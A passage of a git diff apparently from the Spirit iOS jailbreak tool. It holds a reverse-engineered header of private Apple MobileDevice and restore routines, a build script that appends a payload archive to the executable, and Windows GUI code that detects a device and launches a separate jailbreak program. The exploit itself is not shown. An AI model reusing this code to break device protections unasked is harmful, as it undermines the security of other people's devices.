unsigned int context; /* 40 */ + +} __attribute__ ((packed)) afc_connection; + + + +typedef struct afc_directory { + + unsigned char unknown[0]; /* size unknown */ + +} __attribute__ ((packed)) afc_directory; + + + +typedef struct afc_dictionary { + + unsigned char unknown[0]; /* size unknown */ + +} __attribute__ ((packed)) afc_dictionary; + + + +typedef unsigned long long afc_file_ref; + + + +typedef struct usbmux_listener_1 { /* offset value in iTunes */ + + unsigned int unknown0; /* 0 1 */ + + unsigned char *unknown1; /* 4 ptr, maybe device? */ + + amd_device_attached_callback callback; /* 8 _AMDDeviceAttached */ + + unsigned int unknown3; /* 12 */ + + unsigned int unknown4; /* 16 */ + + unsigned int unknown5; /* 20 */ + +} __attribute__ ((packed)) usbmux_listener_1; + + + +typedef struct usbmux_listener_2 { + + unsigned char unknown0[4144]; + +} __attribute__ ((packed)) usbmux_listener_2; + + + +typedef struct am_bootloader_control_packet { + + unsigned char opcode; /* 0 */ + + unsigned char length; /* 1 */ + + unsigned char magic[2]; /* 2: 0x34, 0x12 */ + + unsigned char payload[0]; /* 4 */ + +} __attribute__ ((packed)) am_bootloader_control_packet; + + + +/* ---------------------------------------------------------------------------- + + * Public routines + + * ------------------------------------------------------------------------- */ + + + +void AMDSetLogLevel(int level); + + + +/* Registers a notification with the current run loop. The callback gets + + * copied into the notification struct, as well as being registered with the + + * current run loop. dn_unknown3 gets copied into unknown3 in the same. + + * (Maybe dn_unknown3 is a user info parameter that gets passed as an arg to + + * the callback?) unused0 and unused1 are both 0 when iTunes calls this. + + * In iTunes the callback is located from $3db78e-$3dbbaf. + + * + + * Returns: + + * MDERR_OK if successful + + * MDERR_SYSCALL if CFRunLoopAddSource() failed + + * MDERR_OUT_OF_MEMORY if we ran out of memory + + */ + + + +mach_error_t AMDeviceNotificationSubscribe(am_device_notification_callback + + callback, unsigned int unused0, unsigned int unused1, void* //unsigned int + + dn_unknown3, struct am_device_notification **notification); + + + +/* Connects to the iPhone. Pass in the am_device structure that the + + * notification callback will give to you. + + * + + * Returns: + + * MDERR_OK if successfully connected + + * MDERR_SYSCALL if setsockopt() failed + + * MDERR_QUERY_FAILED if the daemon query failed + + * MDERR_INVALID_ARGUMENT if USBMuxConnectByPort returned 0xffffffff + + */ + + + +mach_error_t AMDeviceConnect(struct am_device *device); + + + +/* Calls PairingRecordPath() on the given device, than tests whether the path + + * which that function returns exists. During the initial connect, the path + + * returned by that function is '/', and so this returns 1. + + * + + * Returns: + + * 0 if the path did not exist + + * 1 if it did + + */ + + + +int AMDeviceIsPaired(struct am_device *device); + + + +/* iTunes calls this function immediately after testing whether the device is + + * paired. It creates a pairing file and establishes a Lockdown connection. + + * + + * Returns: + + * MDERR_OK if successful + + * MDERR_INVALID_ARGUMENT if the supplied device is null + + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + + */ + + + +mach_error_t AMDeviceValidatePairing(struct am_device *device); + + + +/* Creates a Lockdown session and adjusts the device structure appropriately + + * to indicate that the session has been started. iTunes calls this function + + * after validating pairing. + + * + + * Returns: + + * MDERR_OK if successful + + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + + * MDERR_DICT_NOT_LOADED if the load_dict() call failed + + */ + + + +mach_error_t AMDeviceStartSession(struct am_device *device); + + + +/* Starts a service and returns a handle that can be used in order to further + + * access the service. You should stop the session and disconnect before using + + * the service. iTunes calls this function after starting a session. It starts + + * the service and the SSL connection. unknown may safely be + + * NULL (it is when iTunes calls this), but if it is not, then it will be + + * filled upon function exit. service_name should be one of the AMSVC_* + + * constants. If the service is AFC (AMSVC_AFC), then the handle is the handle + + * that will be used for further AFC* calls. + + * + + * Returns: + + * MDERR_OK if successful + + * MDERR_SYSCALL if the setsockopt() call failed + + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + + */ + + + +mach_error_t AMDeviceStartService(struct am_device *device, CFStringRef + + service_name, service_conn_t *handle, unsigned int * + + unknown); + + + +mach_error_t AMDeviceStartHouseArrestService(struct am_device *device, CFStringRef identifier, void *unknown, service_conn_t *handle, unsigned int *what); + + + +/* Stops a session. You should do this before accessing services. + + * + + * Returns: + + * MDERR_OK if successful + + * MDERR_INVALID_ARGUMENT if the Lockdown conn has not been established + + */ + + + +mach_error_t AMDeviceStopSession(struct am_device *device); + + + +/* Opens an Apple File Connection. You must start the appropriate service + + * first with AMDeviceStartService(). In iTunes, io_timeout is 0. + + * + + * Returns: + + * MDERR_OK if successful + + * MDERR_AFC_OUT_OF_MEMORY if malloc() failed + + */ + + + +afc_error_t AFCConnectionOpen(service_conn_t handle, unsigned int io_timeout, + + struct afc_connection **conn); + + + +/* Pass in a pointer to an afc_device_info structure. It will be filled. */ + +afc_error_t AFCDeviceInfoOpen(afc_connection *conn, struct + + afc_dictionary **info); + + + +/* Turns debug mode on if the environment variable AFCDEBUG is set to a numeric + + * value, or if the file '/AFCDEBUG' is present and contains a value. */ + +void AFCPlatformInit(); + + + +/* Opens a directory on the iPhone. Pass in a pointer in dir to be filled in. + + * Note that this normally only accesses the iTunes sandbox/partition as the + + * root, which is /var/root/Media. Pathnames are specified with '/' delimiters + + * as in Unix style. + + * + + * Returns: + + * MDERR_OK if successful + + */ + + + +afc_error_t AFCDirectoryOpen(afc_connection *conn, const char *path, + + struct afc_directory **dir); + + + +/* Acquires the next entry in a directory previously opened with + + * AFCDirectoryOpen(). When dirent is filled with a NULL value, then the end + + * of the directory has been reached. '.' and '..' will be returned as the + + * first two entries in each directory except the root; you may want to skip + + * over them. + + * + + * Returns: + + * MDERR_OK if successful, even if no entries remain + + */ + + + +afc_error_t AFCDirectoryRead(afc_connection *conn/*unsigned int unused*/, struct afc_directory *dir, + + char **dirent); + + + +afc_error_t AFCDirectoryClose(afc_connection *conn, struct afc_directory *dir); + +afc_error_t AFCDirectoryCreate(afc_connection *conn, const char *dirname); + +afc_error_t AFCRemovePath(afc_connection *conn, const char *dirname); + +afc_error_t AFCRenamePath(afc_connection *conn, const char *from, const char *to); + +afc_error_t AFCLinkPath(afc_connection *conn, long long int linktype, const char *target, const char *linkname); + + + +/* Returns the context field of the given AFC connection. */ + +unsigned int AFCConnectionGetContext(afc_connection *conn); + + + +/* Returns the fs_block_size field of the given AFC connection. */ + +unsigned int AFCConnectionGetFSBlockSize(afc_connection *conn); + + + +/* Returns the io_timeout field of the given AFC connection. In iTunes this is + + * 0. */ + +unsigned int AFCConnectionGetIOTimeout(afc_connection *conn); + + + +/* Returns the sock_block_size field of the given AFC connection. */ + +unsigned int AFCConnectionGetSocketBlockSize(afc_connection *conn); + + + +/* Closes the given AFC connection. */ + +afc_error_t AFCConnectionClose(afc_connection *conn); + + + +/* Registers for device notifications related to the restore process. unknown0 + + * is zero when iTunes calls this. In iTunes, + + * the callbacks are located at: + + * 1: $3ac68e-$3ac6b1, calls $3ac542(unknown1, arg, 0) + + * 2: $3ac66a-$3ac68d, calls $3ac542(unknown1, 0, arg) + + * 3: $3ac762-$3ac785, calls $3ac6b2(unknown1, arg, 0) + + * 4: $3ac73e-$3ac761, calls $3ac6b2(unknown1, 0, arg) + + */ + + + +unsigned int AMRestoreRegisterForDeviceNotifications( + + am_restore_device_notification_callback dfu_connect_callback, + + am_restore_device_notification_callback recovery_connect_callback, + + am_restore_device_notification_callback dfu_disconnect_callback, + + am_restore_device_notification_callback recovery_disconnect_callback, + + unsigned int unknown0, + + void *user_info); + + + +/* Causes the restore functions to spit out (unhelpful) progress messages to + + * the file specified by the given path. iTunes always calls this right before + + * restoring with a path of + + * "$HOME/Library/Logs/iPhone Updater Logs/iPhoneUpdater X.log", where X is an + + * unused number. + + */ + + + +unsigned int AMRestoreEnableFileLogging(char *path); + + + +/* Initializes a new option dictionary to default values. Pass the constant + + * kCFAllocatorDefault as the allocator. The option dictionary looks as + + * follows: + + * { + + * NORImageType => 'production', + + * AutoBootDelay => 0, + + * KernelCacheType => 'Release', + + * UpdateBaseband => true, + + * DFUFileType => 'RELEASE', + + * SystemImageType => 'User', + + * CreateFilesystemPartitions => true, + + * FlashNOR => true, + + * RestoreBootArgs => 'rd=md0 nand-enable-reformat=1 -progress' + + * BootImageType => 'User' + + * } + + * + + * Returns: + + * the option dictionary if successful + + * NULL if out of memory + + */ + + + +CFMutableDictionaryRef AMRestoreCreateDefaultOptions(CFAllocatorRef allocator); + + + +/* ---------------------------------------------------------------------------- + + * Less-documented public routines + + * ------------------------------------------------------------------------- */ + + + +/* mode 2 = read, mode 3 = write */ + +afc_error_t AFCFileRefOpen(afc_connection *conn, const char *path, + + unsigned long long mode, afc_file_ref *ref); + +afc_error_t AFCFileRefSeek(afc_connection *conn, afc_file_ref ref, + + unsigned long long offset1, unsigned long long offset2); + +afc_error_t AFCFileRefRead(afc_connection *conn, afc_file_ref ref, + + void *buf, unsigned int *len); + +afc_error_t AFCFileRefSetFileSize(afc_connection *conn, afc_file_ref ref, + + unsigned long long offset); + +afc_error_t AFCFileRefWrite(afc_connection *conn, afc_file_ref ref, + + const void *buf, unsigned int len); + +afc_error_t AFCFileRefClose(afc_connection *conn, afc_file_ref ref); + + + +afc_error_t AFCFileInfoOpen(afc_connection *conn, const char *path, struct + + afc_dictionary **info); + +afc_error_t AFCKeyValueRead(struct afc_dictionary *dict, char **key, char ** + + val); + +afc_error_t AFCKeyValueClose(struct afc_dictionary *dict); + + + +unsigned int AMRestorePerformRecoveryModeRestore(struct am_recovery_device * + + rdev, CFDictionaryRef opts, void *callback, void *user_info); + +unsigned int AMRestorePerformRestoreModeRestore(struct am_restore_device * + + rdev, CFDictionaryRef opts, void *callback, void *user_info); + + + +struct am_restore_device *AMRestoreModeDeviceCreate(unsigned int unknown0, + + unsigned int connection_id, unsigned int unknown1); + + + +unsigned int AMRestoreCreatePathsForBundle(CFStringRef restore_bundle_path, + + CFStringRef kernel_cache_type, CFStringRef boot_image_type, unsigned int + + unknown0, CFStringRef *firmware_dir_path, CFStringRef * + + kernelcache_restore_path, unsigned int unknown1, CFStringRef * + + ramdisk_path); + + + +unsigned int AMDeviceGetConnectionID(struct am_device *device); + +mach_error_t AMDeviceEnterRecovery(struct am_device *device); + +mach_error_t AMDeviceDisconnect(struct am_device *device); + +mach_error_t AMDeviceRetain(struct am_device *device); + +mach_error_t AMDeviceRelease(struct am_device *device); + +CFStringRef AMDeviceCopyValue(struct am_device *device, unsigned int, CFStringRef cfstring); + +CFStringRef AMDeviceCopyDeviceIdentifier(struct am_device *device); + + + +typedef void (*notify_callback)(CFStringRef notification, void *data); + + + +mach_error_t AMDPostNotification(service_conn_t socket, CFStringRef notification, CFStringRef userinfo); + +mach_error_t AMDObserveNotification(void *socket, CFStringRef notification); + +mach_error_t AMDListenForNotifications(void *socket, notify_callback cb, void *data); + +mach_error_t AMDShutdownNotificationProxy(void *socket); + + + +/*edits by geohot*/ + +mach_error_t AMDeviceDeactivate(struct am_device *device); + +mach_error_t AMDeviceActivate(struct am_device *device, CFMutableDictionaryRef); + +/*end*/ + + + +void *AMDeviceSerialize(struct am_device *device); + +void AMDAddLogFileDescriptor(int fd); + +mach_error_t AMDeviceSendMessage(service_conn_t socket, void *unused, CFPropertyListRef plist); + +mach_error_t AMDeviceReceiveMessage(service_conn_t socket, CFDictionaryRef options, CFPropertyListRef * result); + + + +/* ---------------------------------------------------------------------------- + + * Semi-private routines + + * ------------------------------------------------------------------------- */ + + + +/* Pass in a usbmux_listener_1 structure and a usbmux_listener_2 structure + + * pointer, which will be filled with the resulting usbmux_listener_2. + + * + + * Returns: + + * MDERR_OK if completed successfully + + * MDERR_USBMUX_ARG_NULL if one of the arguments was NULL + + * MDERR_USBMUX_FAILED if the listener was not created successfully + + */ + + + +usbmux_error_t USBMuxListenerCreate(struct usbmux_listener_1 *esi_fp8, struct + + usbmux_listener_2 **eax_fp12); + + + +/* ---------------------------------------------------------------------------- + + * Less-documented semi-private routines + + * ------------------------------------------------------------------------- */ + + + +usbmux_error_t USBMuxListenerHandleData(void *); + + + +/* ---------------------------------------------------------------------------- + + * Private routines - here be dragons + + * ------------------------------------------------------------------------- */ + + + +/* AMRestorePerformRestoreModeRestore() calls this function with a dictionary + + * in order to perform certain special restore operations + + * (RESTORED_OPERATION_*). It is thought that this function might enable + + * significant access to the phone. */ + + + +typedef unsigned int (*t_performOperation)(struct am_restore_device *rdev, + + CFDictionaryRef op); // __attribute__ ((regparm(2))); + + + +#ifdef __cplusplus + +} + +#endif + + + +#endif + diff --git a/wingui/Spirit.dev b/wingui/Spirit.dev new file mode 100644 index 0000000..99f334b --- /dev/null +++ b/wingui/Spirit.dev @@ -0,0 +1,79 @@ +[Project] +FileName=Spirit.dev +Name=Spirit +UnitCount=3 +Type=0 +Ver=1 +ObjFiles= +Includes=../winstuff +Libs= +PrivateResource=Spirit_private.rc +ResourceIncludes= +MakeIncludes= +Compiler= +CppCompiler= +Linker=C:\Dev-Cpp/lib/libwininet.a_@@_ +IsCpp=0 +Icon= +ExeOutput= +ObjectOutput= +OverrideOutput=0 +OverrideOutputName=Spirit.exe +HostApplication= +Folders= +CommandLine= +UseCustomMakefile=0 +CustomMakefile= +IncludeVersionInfo=0 +SupportXPThemes=0 +CompilerSet=0 +CompilerSettings=0000000000000000000000 + +[Unit1] +FileName=MobileDevice.h +CompileCpp=0 +Folder= +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[VersionInfo] +Major=0 +Minor=1 +Release=1 +Build=1 +LanguageID=1033 +CharsetID=1252 +CompanyName= +FileVersion= +FileDescription=Developed using the Dev-C++ IDE +InternalName= +LegalCopyright= +LegalTrademarks= +OriginalFilename= +ProductName= +ProductVersion= +AutoIncBuildNr=0 + +[Unit2] +FileName=wingui.c +CompileCpp=0 +Folder=Spirit +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + +[Unit3] +FileName=toad.c +CompileCpp=0 +Folder=Spirit +Compile=1 +Link=1 +Priority=1000 +OverrideBuildCmd=0 +BuildCmd= + diff --git a/wingui/everything.sh b/wingui/everything.sh new file mode 100755 index 0000000..13e7400 --- /dev/null +++ b/wingui/everything.sh @@ -0,0 +1,14 @@ +#!/bin/sh +set -e +cd ../dl +make +cp dl.exe ../stage/dl/ +cd ../stage +python stage.py +python packer.py +cd ../wingui +rm -f packed.o +make +upx wingui.exe +cat ../misc/magic.txt >> wingui.exe +cat ../resources/freeze.tar.xz >> wingui.exe diff --git a/wingui/stuff b/wingui/stuff new file mode 120000 index 0000000..8f44c44 --- /dev/null +++ b/wingui/stuff @@ -0,0 +1 @@ +../winstuff \ No newline at end of file diff --git a/wingui/wingui.c b/wingui/wingui.c new file mode 100644 index 0000000..85465b6 --- /dev/null +++ b/wingui/wingui.c @@ -0,0 +1,581 @@ +#include +#include +#include +#include "MobileDevice.h" + +extern void write_stuff(); + +LRESULT CALLBACK WindowProcedure(HWND, UINT, WPARAM, LPARAM); +char *szClassName = TEXT("WindowsApp"); +HWND window, button, title, status, edit = NULL; +HHOOK hMsgBoxHook; + +char *firmwareVersion = NULL, *deviceModel = NULL; +BOOL deviceConnected = FALSE; +BOOL jailbreakSucceeded = FALSE; +BOOL isJailbreaking = FALSE; +PROCESS_INFORMATION pinfo; +char cfpath[MAX_PATH]; +char mdpath[MAX_PATH]; +DWORD exitCode = 0; +char *output = NULL; + +HMODULE mobile_device_framework; +int (*am_device_notification_subscribe)(void *, int, int, void *, am_device_notification **); +CFStringRef (*am_copy_value)(am_device *, CFStringRef, CFStringRef); +mach_error_t (*am_device_connect)(struct am_device *device); +mach_error_t (*am_device_is_paired)(struct am_device *device); +mach_error_t (*am_device_validate_pairing)(struct am_device *device); +mach_error_t (*am_device_start_session)(struct am_device *device); + +HMODULE corefoundation; +int (*cf_string_get_cstring)(CFStringRef, char *, CFIndex, CFStringEncoding); +CFStringRef (*cf_string_create_with_cstring)(CFAllocatorRef, char *, CFStringEncoding); +void (*cf_release)(CFTypeRef); +CFDataRef (*cf_data_create)(CFAllocatorRef, char *, int); +BOOL (*cf_dictionary_contains_key)(CFDictionaryRef, CFStringRef); +CFPropertyListRef (*cf_propertylist_create_with_data)(CFAllocatorRef, CFDataRef, CFOptionFlags, CFPropertyListFormat *, CFErrorRef *); + +BOOL MessageLoop(BOOL blocking); + +int load_core_foundation() +{ + HKEY hKey; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Apple Inc.\\Apple Application Support"), 0, KEY_QUERY_VALUE, &hKey); + DWORD itunesdll_size = MAX_PATH; + + if (RegQueryValueEx(hKey, TEXT("InstallDir"), NULL, NULL, cfpath, &itunesdll_size) != ERROR_SUCCESS) { + return 1; + } + + // Thanks geohot and psuskeels + SetCurrentDirectory(cfpath); + + char path[MAX_PATH]; + sprintf(path, "%s%s", cfpath, "CoreFoundation.dll"); + corefoundation = LoadLibrary(path); + if (corefoundation == NULL) { + return 1; + } + + // Strip trailing backslash + cfpath[strlen(cfpath) - 1] = 0; + + cf_data_create = (void *) GetProcAddress(corefoundation, "CFDataCreate"); + cf_release = (void *) GetProcAddress(corefoundation, "CFRelease"); + cf_dictionary_contains_key = (void *) GetProcAddress(corefoundation, "CFDictionaryContainsKey"); + cf_propertylist_create_with_data = (void *) GetProcAddress(corefoundation, "CFPropertyListCreateWithData"); + cf_string_get_cstring = (void *) GetProcAddress(corefoundation, "CFStringGetCString"); + cf_string_create_with_cstring = (void *) GetProcAddress(corefoundation, "CFStringCreateWithCString"); + + return (corefoundation == NULL || + cf_release == NULL || + cf_data_create == NULL || + cf_dictionary_contains_key == NULL || + cf_propertylist_create_with_data == NULL || + cf_string_get_cstring == NULL || + cf_string_create_with_cstring == NULL); +} + +int load_mobile_device() +{ + if (load_core_foundation()) { + return 1; + } + + HKEY hKey; + RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Apple Inc.\\Apple Mobile Device Support\\Shared"), 0, KEY_QUERY_VALUE, &hKey); + DWORD itunesdll_size = MAX_PATH; + char dllpath[MAX_PATH]; + + if (RegQueryValueEx(hKey, TEXT("iTunesMobileDeviceDLL"), NULL, NULL, dllpath, &itunesdll_size) != ERROR_SUCCESS) { + return 1; + } + + mobile_device_framework = LoadLibrary(dllpath); + if (mobile_device_framework == NULL) { + return 1; + } + + // Strip off last path component and backslash + _splitpath(dllpath, mdpath, mdpath + 2, NULL, NULL); + mdpath[strlen(mdpath) - 1] = 0; + + am_device_notification_subscribe = (void *) GetProcAddress(mobile_device_framework, "AMDeviceNotificationSubscribe"); + am_device_connect = (void *) GetProcAddress(mobile_device_framework, "AMDeviceConnect"); + am_device_is_paired = (void *) GetProcAddress(mobile_device_framework, "AMDeviceIsPaired"); + am_device_validate_pairing = (void *) GetProcAddress(mobile_device_framework, "AMDeviceValidatePairing"); + am_device_start_session = (void *) GetProcAddress(mobile_device_framework, "AMDeviceStartSession"); + am_copy_value = (void *) GetProcAddress(mobile_device_framework, "AMDeviceCopyValue"); + + return (mobile_device_framework == NULL || + am_device_notification_subscribe == NULL || + am_device_connect == NULL || + am_copy_value == NULL || + am_device_is_paired == NULL || + am_device_validate_pairing == NULL || + am_device_start_session == NULL); +} + +static void path_for_file(char *file, char *where, int len) +{ + // ya can change this to change where the files are when extraction is added + strncpy(where, file, len); +} + +static BOOL jailbreak_ready() +{ + char key[0x20]; + sprintf(key, "%s_%s", deviceModel, firmwareVersion); + + char path[MAX_PATH]; + path_for_file("igor/map.plist", path, MAX_PATH); + FILE *pf = fopen(path, "r"); + if (pf == NULL) + return FALSE; + fseek(pf, 0, SEEK_END); + int size = ftell(pf); + fseek(pf, 0, SEEK_SET); + + char *plistdata = malloc(size); + fread(plistdata, size, 1, pf); + fclose(pf); + + CFDataRef data = cf_data_create(NULL, plistdata, size); + free(plistdata); + + CFDictionaryRef dict = (CFDictionaryRef) cf_propertylist_create_with_data(NULL, data, kCFPropertyListImmutable, NULL, NULL); + if (dict == NULL) { + cf_release(data); + return FALSE; + } + + CFStringRef keyref = cf_string_create_with_cstring(NULL, key, kCFStringEncodingASCII); + BOOL ret = cf_dictionary_contains_key(dict, keyref); + + cf_release(data); + cf_release(keyref); + cf_release(dict); + + return ret; +} + +static char *device_copy_value(am_device *device, char * key) +{ + char *buf = malloc(0x21); + + CFStringRef keyref = cf_string_create_with_cstring(NULL, key, kCFStringEncodingASCII); + CFStringRef value = am_copy_value(device, NULL, keyref); + cf_release(keyref); + cf_string_get_cstring(value, buf, 0x20, kCFStringEncodingASCII); + cf_release(value); + + return buf; +} + +static char *device_firmware_string(am_device *device) +{ + return device_copy_value(device, "ProductVersion"); +} + +static char *device_model_string(am_device *device) +{ + return device_copy_value(device, "ProductType"); +} + +static void device_notification_callback(am_device_notification_callback_info *info, void *foo) +{ + if (isJailbreaking) return; + + deviceConnected = TRUE; + + if (info->msg != ADNCI_MSG_CONNECTED) { + deviceConnected = FALSE; + } + if (am_device_connect(info->dev)) { + deviceConnected = FALSE; + } + if (!am_device_is_paired(info->dev)) { + deviceConnected = FALSE; + } + if (am_device_validate_pairing(info->dev)) { + deviceConnected = FALSE; + } + if (am_device_start_session(info->dev)) { + deviceConnected = FALSE; + } + + if (deviceConnected) { + if (jailbreakSucceeded) jailbreakSucceeded = FALSE; + + firmwareVersion = device_firmware_string(info->dev); + deviceModel = device_model_string(info->dev); + + char display[0x200]; + strcpy(display, deviceModel); + if (!strcmp(deviceModel, "iPhone1,1")) strcpy(display, "iPhone 2G"); + if (!strcmp(deviceModel, "iPhone1,2")) strcpy(display, "iPhone 3G"); + if (!strcmp(deviceModel, "iPhone2,1")) strcpy(display, "iPhone 3GS"); + if (!strcmp(deviceModel, "iPod1,1")) strcpy(display, "iPod touch 1G"); + if (!strcmp(deviceModel, "iPod2,1")) strcpy(display, "iPod touch 2G"); + if (!strcmp(deviceModel, "iPod3,1")) strcpy(display, "iPod touch 3G"); + if (!strcmp(deviceModel, "iPad1,1")) strcpy(display, "iPad"); + + char text[0x200]; + if (jailbreak_ready()) { + sprintf(text, "Ready: %s (%s) connected.", display, firmwareVersion); + EnableWindow(button, TRUE); + } else { + sprintf(text, "Device %s (%s) is not supported.", display, firmwareVersion); + EnableWindow(button, FALSE); + } + SendMessage(status, WM_SETTEXT, (WPARAM) NULL, (LPARAM) text); + } else { + if (jailbreakSucceeded) return; + + SendMessage(status, WM_SETTEXT, (WPARAM) NULL, (LPARAM) TEXT("Please connect device.")); + SendMessage(button, WM_SETTEXT, (WPARAM) NULL, (LPARAM) TEXT("Jailbreak")); + EnableWindow(button, FALSE); + } +} + +BOOL CALLBACK window_callback(HWND hwnd, LPARAM lParam) +{ + char windowclass[0x20]; + GetClassName(hwnd, windowclass, 0x20); + if (!_stricmp(windowclass, "BUTTON")) { + RECT r; + POINT tl, br; + + GetWindowRect(hwnd, &r); + tl.x = r.left; tl.y = r.top; + br.x = r.right; br.y = r.bottom; + + ScreenToClient(GetParent(hwnd), &br); + ScreenToClient(GetParent(hwnd), &tl); + + MoveWindow(hwnd, tl.x, tl.y + 265, br.x - tl.x, br.y - tl.y , TRUE); + UpdateWindow(GetParent(hwnd)); + } +} + +LRESULT CALLBACK message_box_hook(int nCode, WPARAM wParam, LPARAM lParam) +{ + HWND hwnd; + + if(nCode < 0) + return CallNextHookEx(hMsgBoxHook, nCode, wParam, lParam); + + if (nCode == HCBT_ACTIVATE) { + hwnd = (HWND) wParam; + + RECT r; + GetWindowRect(hwnd, &r); + MoveWindow(hwnd, r.left, r.top, r.right - r.left, 400, TRUE); + UpdateWindow(hwnd); + UpdateWindow(GetParent(hwnd)); + + EnumChildWindows(hwnd, window_callback, 0); + + edit = CreateWindowEx(0, TEXT("EDIT"), NULL, WS_VISIBLE | WS_CHILD | ES_LEFT | WS_VSCROLL | ES_MULTILINE | ES_READONLY | ES_AUTOVSCROLL, 20, 60, r.right - r.left - 40, 240, hwnd, NULL, NULL, NULL); + SendMessage(edit, WM_SETTEXT, 0, (LPARAM) output); + SendMessage(edit, WM_SETFONT, (WPARAM) CreateFont(16, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, TEXT("Tahoma")), TRUE); + + UnhookWindowsHookEx(hMsgBoxHook); + return 0; + } + + return CallNextHookEx(hMsgBoxHook, nCode, wParam, lParam); +} + +void performJailbreak() +{ + isJailbreaking = TRUE; + EnableWindow(button, FALSE); + SendMessage(button, WM_SETTEXT, (WPARAM) NULL, (LPARAM) TEXT("Jailbreaking...")); + + char statusText[0x200]; + + SECURITY_ATTRIBUTES sa; + STARTUPINFO startup; + + int ret; + + sa.nLength = sizeof(sa); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; + + HANDLE pipe_read = CreateNamedPipe("\\\\.\\pipe\\spirit", PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, PIPE_UNLIMITED_INSTANCES, 4096, 4096, INFINITE, &sa); + SetHandleInformation(pipe_read, HANDLE_FLAG_INHERIT, 0); + HANDLE pipe_write = CreateFile("\\\\.\\pipe\\spirit", GENERIC_WRITE, 0, &sa, OPEN_EXISTING, 0, NULL); + + HANDLE event = CreateEvent(NULL, TRUE, FALSE, NULL); + + ZeroMemory(&startup, sizeof(startup)); + startup.cb = sizeof(startup); + startup.hStdInput = GetStdHandle(STD_INPUT_HANDLE); + startup.hStdOutput = pipe_write; + startup.hStdError = GetStdHandle(STD_ERROR_HANDLE); + startup.dwFlags = STARTF_USESTDHANDLES; + + ZeroMemory(&pinfo, sizeof(pinfo)); + + // Create argv for dl + char dlpath[MAX_PATH]; + path_for_file("dl/dl.exe", dlpath, MAX_PATH); + char argv[MAX_PATH + 5]; + char buf[MAX_PATH]; + GetModuleFileName(NULL, buf, MAX_PATH); + sprintf(argv, "dl \"%s\"", buf); + + // Create PATH for dl + char oldpath[4096]; + GetEnvironmentVariable("PATH", oldpath, 4096); + char newpath[4096]; + sprintf(newpath, "PATH=%s;%s;%s", oldpath, mdpath, cfpath); + + LPTCH envp = GetEnvironmentStrings(); + char *newenvp[0x4000]; + char *cur = (char *) envp, *newcur = (char *) newenvp; + + while (*cur) { + if (!_strnicmp(cur, "PATH", 4)) { + strcpy(newcur, newpath); + newcur += strlen(newpath) + 1; + } else { + strcpy(newcur, cur); + newcur += strlen(cur) + 1; + } + + cur += strlen(cur) + 1; + } + + FreeEnvironmentStrings(envp); + + // Launch dl + if (CreateProcess( + dlpath, /* program path */ + argv, /* argv */ + NULL, /* process handle is not inheritable */ + NULL, /* thread handle is not inheritable */ + TRUE, /* yes, inherit some handles */ + DETACHED_PROCESS, /* the new process doesn't have a console */ + newenvp, /* environment block */ + NULL, /* use parent's starting directory */ + &startup, /* startup info, i.e. std handles */ + &pinfo) == FALSE) { + output = malloc(0x200); + strcpy(output, "ERROR: Unable to launch dl."); + exitCode = 0x00000149; + goto complete; + } + + CloseHandle(pipe_write); + + int outputsize = 0x200; + output = malloc(0x200); + int offset = 0; + BOOL reading = FALSE; + OVERLAPPED overlapped; + DWORD count_; + + // Wait for the process to complete + while (1) { + //MessageBox(NULL, reading ? "reading" : "not reading", "", MB_OK); + if(!reading) { + ResetEvent(event); + ZeroMemory(&overlapped, sizeof(overlapped)); + overlapped.hEvent = event; + ReadFile(pipe_read, offset + output, 0x200, &count_, &overlapped); + reading = TRUE; + } + + HANDLE objs[2] = {pinfo.hProcess, event}; + + DWORD ret = MsgWaitForMultipleObjects(2, objs, FALSE, INFINITE, QS_ALLINPUT); + if(ret == WAIT_OBJECT_0) { + // Process finished + break; + } else if(ret == WAIT_OBJECT_0 + 1) { + // We got some input + DWORD count = overlapped.InternalHigh; + outputsize += count; + offset += count; + output = realloc(output, outputsize); + reading = FALSE; + } else { + // A message + while(MessageLoop(FALSE)); + } + } + + if(overlapped.Internal != STATUS_PENDING) { + DWORD count = overlapped.InternalHigh; + outputsize += count; + offset += count; + output = realloc(output, outputsize); + } + + CancelIo(pipe_read); + + // \n -> \r\n + //{char buf[500]; sprintf(buf, "=%d", offset); MessageBox(NULL, buf, buf, MB_OK);} + output[offset] = 0; + char *output2 = malloc(2*offset+1); + char *p = output, *q = output2; + char c; + while(c = *p++) { + if(c == '\n') *q++ = '\r'; + *q++ = c; + } + *q++ = 0; + free(output); + output = output2; + + GetExitCodeProcess(pinfo.hProcess, &exitCode); + + CloseHandle(pipe_read); + CloseHandle(pinfo.hProcess); + CloseHandle(pinfo.hThread); + +complete: + EnableWindow(button, TRUE); + if (exitCode == 0) { + jailbreakSucceeded = TRUE; + + sprintf(statusText, "Jailbreak succeeded!"); + SendMessage(button, WM_SETTEXT, (WPARAM) NULL, (LPARAM) TEXT("Quit")); + SendMessage(status, WM_SETTEXT, (WPARAM) NULL, (LPARAM) statusText); + } else { + jailbreakSucceeded = FALSE; + + sprintf(statusText, "Failed to jailbreak (error code: %x).", exitCode); + SendMessage(status, WM_SETTEXT, (WPARAM) NULL, (LPARAM) statusText); + SendMessage(button, WM_SETTEXT, (WPARAM) NULL, (LPARAM) TEXT("Retry")); + + // To add teh textbox + hMsgBoxHook = SetWindowsHookEx(WH_CBT, message_box_hook, NULL, GetCurrentThreadId()); + int selection = MessageBox(window, TEXT("Spirit encountered an error while jailbreaking your device. Do you want to send a log of what happened?"), TEXT("Welp!"), MB_ICONEXCLAMATION | MB_YESNO); + + if (selection == IDYES) { + static TCHAR headers[] = "Content-Type: text/plain"; + static LPCTSTR accept[2] = {"*/*", NULL}; + HINTERNET session, connect, request; + + // Cascading ifs: they all return NULL on failure + if (session = InternetOpen("Spirit", INTERNET_OPEN_TYPE_PRECONFIG, NULL, 